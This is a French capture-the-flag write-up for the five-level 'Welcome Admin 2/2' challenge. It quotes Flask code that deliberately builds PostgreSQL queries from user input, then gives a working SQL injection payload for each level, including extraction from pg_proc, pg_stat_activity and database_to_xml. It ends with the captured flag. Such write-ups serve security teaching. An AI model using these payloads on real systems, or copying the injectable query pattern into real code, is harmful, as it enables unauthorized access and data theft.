Solution de deepdown2death pour Welcome Admin 2/2

web python

28 janvier 2025

Le challenge “Welcome Admin 2/2” est composé de plusieurs niveaux, chacun nécessitant l’exploitation de vulnérabilités SQL pour accéder à des fonctionnalités réservées aux administrateurs. La base de données utilisée est PostgreSQL, comme indiqué dans le fichier docker-compose.yml.

Après qu’on a extrait welcome-admin.tar.xz, on commence l’analyse du script python welcome-admin.py

Niveau 1 : ADMIN

Code concerné :

@app.route("/", methods=["GET", "POST"])
@login_for(Rank.GUEST, Rank.ADMIN, "/admin")
def level1(cursor: cursor, password: str):
    token = os.urandom(16).hex()
    cursor.execute(f"SELECT '{token}' = '{password}'")
    row = cursor.fetchone()
    if not row:
        return False
    if len(row) != 1:
        return False
    return bool(row[0])

Payload

' or 1=1 --

Niveau 2 : SUPER_ADMIN

Code concerné :

@app.route("/admin", methods=["GET", "POST"])
@login_for(Rank.ADMIN, Rank.SUPER_ADMIN, "/super-admin", FIRST_FLAG)
def level2(cursor: cursor, password: str):
    token = os.urandom(16).hex()
    cursor.execute(
        f"""
            CREATE FUNCTION check_password(_password text) RETURNS text
            AS $$
                BEGIN
                    IF _password = '{token}' THEN
                        RETURN _password;
                    END IF;
                    RETURN 'nope';
                END;
            $$
            IMMUTABLE LANGUAGE plpgsql;
        """
    )
    cursor.execute(f"SELECT  check_password('{password}')")
    row = cursor.fetchone()
    if not row:
        return False
    if len(row) != 1:
        return False
    return row[0] == token

Exploitation Le token est stocké dans la fonction check_password, créée dynamiquement. Les informations sur les fonctions PostgreSQL sont accessibles via la table système pg_proc. En injectant une requête SQL dans le champ password, on peut extraire le token depuis pg_proc.

Payload

' || (SELECT substring(prosrc, 60, 32) FROM pg_proc WHERE proname = 'check_password')) --

Le token est récupéré, et l’accès au niveau suivant (/super-admin) est débloqué.

Niveau 3 : HYPER_ADMIN

Code concerné :

@app.route("/super-admin", methods=["GET", "POST"])
@login_for(Rank.SUPER_ADMIN, Rank.HYPER_ADMIN, "/hyper-admin")
def level3(cursor: cursor, password: str):
    token = os.urandom(16).hex()
    cursor.execute(f"SELECT '{token}', '{password}';")
    row = cursor.fetchone()
    if not row:
        return False
    if len(row) != 2:
        return False
    return row[1] == token

Exploitation Le token est inclus directement dans la requête SQL. La vue pg_stat_activity contient les requêtes SQL en cours d’exécution. En injectant une requête SQL, on peut extraire le token depuis pg_stat_activity.

Payload

___' union select SUBSTR((select query FROM pg_stat_activity where query like 'SELECT ''%' order by 1 ASC  limit 1), 9, 32), SUBSTR((select query FROM pg_stat_activity where query like 'SELECT ''%' order by 1 ASC  limit 1), 9, 32) order by 2 DESC limit 1 --

Le token est récupéré, et l’accès au niveau suivant (/hyper-admin) est débloqué.

Niveau 4 : TURBO_ADMIN

Code concerné :

@app.route("/hyper-admin", methods=["GET", "POST"])
@login_for(Rank.HYPER_ADMIN, Rank.TURBO_ADMIN, "/turbo-admin")
def level4(cursor: cursor, password: str):
    cursor.execute(f"""SELECT md5(random()::text), '{password}';""")
    row = cursor.fetchone()
    if not row:
        return False
    if len(row) != 2:
        return False
    return row[0] == row[1]

Exploitation La requête retourne deux colonnes : une valeur MD5 aléatoire et le mot de passe fourni. En utilisant UNION, on peut ajouter une ligne où les deux colonnes ont la même valeur. En combinant cela avec ORDER BY, on s’assure que cette ligne est retournée en premier.

Payload

___' union select '1', '1' order by 2 DESC limit 1 --

La condition est satisfaite, et l’accès au niveau suivant (/turbo-admin) est débloqué.

Niveau 5 : FLAG

Code concerné :

@app.route("/turbo-admin", methods=["GET", "POST"])
@login_for(Rank.TURBO_ADMIN, Rank.FLAG, "/flag")
def level5(cursor: cursor, password: str):
    table_name = "table_" + os.urandom(16).hex()
    col_name = "col_" + os.urandom(16).hex()
    token = os.urandom(16).hex()

    cursor.execute(
        f"""
        CREATE TABLE "{table_name}" (
          id serial PRIMARY KEY,
          "{col_name}" text
        );

        INSERT INTO "{table_name}"("{col_name}") VALUES ('{token}');
        """
    )
    cursor.execute(f"SELECT '{password}';")
    row = cursor.fetchone()
    print(row)
    if not row:
        return False
    if len(row) != 1:
        return False
    return row[0] == token

Exploitation Le token est inséré dans une table dont le nom et les colonnes sont aléatoires. La fonction database_to_xml permet de dumper le contenu de la base de données au format XML. En injectant une requête SQL, on peut extraire le token depuis ce dump.

Payload

' || substr(database_to_xml(true, true,' ')::text, 178, 32) --

Le token est récupéré, et l’accès au niveau final (/flag) est débloqué. La page /flag affiche le message suivant :

Congratulations! The flag is: FCSC{a380e590ae8ffe8da9bb86f27d05203b7f9d32dd37c833c2764097840848b3a2}